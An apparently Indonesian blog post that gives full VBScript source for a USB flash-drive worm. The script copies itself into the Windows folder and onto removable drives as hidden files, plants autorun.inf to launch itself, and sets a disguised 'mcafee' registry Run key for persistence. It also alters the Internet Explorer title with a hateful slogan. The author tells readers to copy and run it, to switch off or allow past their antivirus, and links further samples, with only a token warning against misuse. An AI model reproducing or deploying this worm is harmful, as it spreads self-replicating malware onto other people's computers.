Virus Flashdisk

Sekarang gw mo share ama lo semua tentang virus yang suka sama flashdisk lo, dan gw harap kagak di salah artikan sama lo semua .... ok! Langsung aj, di bawah ini ada scrip virus yang biasa hinggap di flashdisk lo, disini lo cuma tinggal copy-paste scripnya aja :


on error resume next
Rem 121206, do u still remember dis day us_3
Dim src, winpath, flashdrive, fs, mf, atr, tf, rg, nt, check, sdatr = [autorun]&vbcrlf&shellexecute=wscript.exe Win32.dll.vbsSet fs = CreateObject(Scripting.FileSystemObject) Set mf = fs.getfile(Wscript.ScriptFullname) Dim text, size size = mf.size check = mf.drive.drivetype Set text = mf.openastextstream(1, -2)
Do While Not text.atendofstream src=src&text.readline src = src & vbCrLf Loop
Do Set winpath = fs.getspecialfolder(0) Set tf = fs.getfile(winpath & Win32.dll.vbs) tf.Attributes = 32 Set tf = fs.createtextfile(winpath & Win32.dll.vbs, 2, True) tf.write src tf.Close Set tf = fs.getfile(winpath & Win32.dll.vbs) tf.Attributes = 39
For Each flashdrive In fs.drives
If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.Path A Then Set tf = fs.getfile(flashdrive.Path & Win32.dll.vbs) tf.Attributes = 32 Set tf = fs.createtextfile(flashdrive.Path & Win32.dll.vbs, 2, True) tf.write src tf.Close Set tf = fs.getfile(flashdrive.Path & Win32.dll.vbs) tf.Attributes = 39 Set tf = fs.getfile(flashdrive.Path & autorun.inf) tf.Attributes = 32 Set tf = fs.createtextfile(flashdrive.Path & autorun.inf, 2, True) tf.write atr tf.Close Set tf = fs.getfile(flashdrive.Path & autorun.inf) tf.Attributes = 39 End If
Next
Set rg = CreateObject(WScript.Shell) rg.regwrite HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
mcafee, winpath & Win32.dll.vbs rg.regwrite HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Title, Fuck USA & EZRAEL! [Can Dajjal Come Out And Play !] rg.regwrite HKCRvbsfileDefaultIcon, shell32.dll,2
If check 1 Then Wscript.sleep 200000
Loop While check 1 Set sd = CreateObject(Wscript.shell) sd.run winpath & explorer.exe e,select, & Wscript.ScriptFullname


Inget copy-paste tanpa tanda kutip, lalu save dengan nama w32.dll.vbs, kenapa harus pake nama itu? apa ga bisa pke nama lain? wkakakakaka .....!!!!!cari tau aj dari scrip diatas, gw yakin pasti lo pada bisa or tau. hikz~
oh ya gw lupa kasih tau, kalo lo pada pake antivirus tolong jangan di hidupin dulu tuh antivirus! karena nih scrip biasanya pada kebanyak antivirus bakal ke detect sebagai Malware, andaikata lo ga mo matiin antivirus lo pasti nanti bakal dapet warning dari antivirus lo, jadi lo kasih jalan aja or ijinin biar dia bisa kerja. Pokoknya nanti lain kali gw kasih scrip sama yang ga bermasalah dengan antivirus.

Cara itu ga pa2 kok, selama scrip itu belom di jalanalin! kecuali kalo udah lo save dan lo colok flashdisk lo, baru lo harus hati - hati. ok dah cui berhubung gw dah laper banget jadi gw mo maem dulu! kalo mo yang dah jadi dan beberapa sample lainnya tinggal klik dibawah nih :

1. Win32.dll.vbs
2. Anak SMA.vbs
3. Dont Try

Nah Buat yang no 2 dan 3 scripnya bisa lo edit atau lo ganti terserah lo, sesuka hati lo.

# Nah dari scrip ini gw cuma menyarankan untuk dipelajari dan jangan disalah gunakan untuk menjahilin orang atau temen - temen lo.

0 komentar:

Copyright © 2012 komputer-tech
Design by stuff-freeiz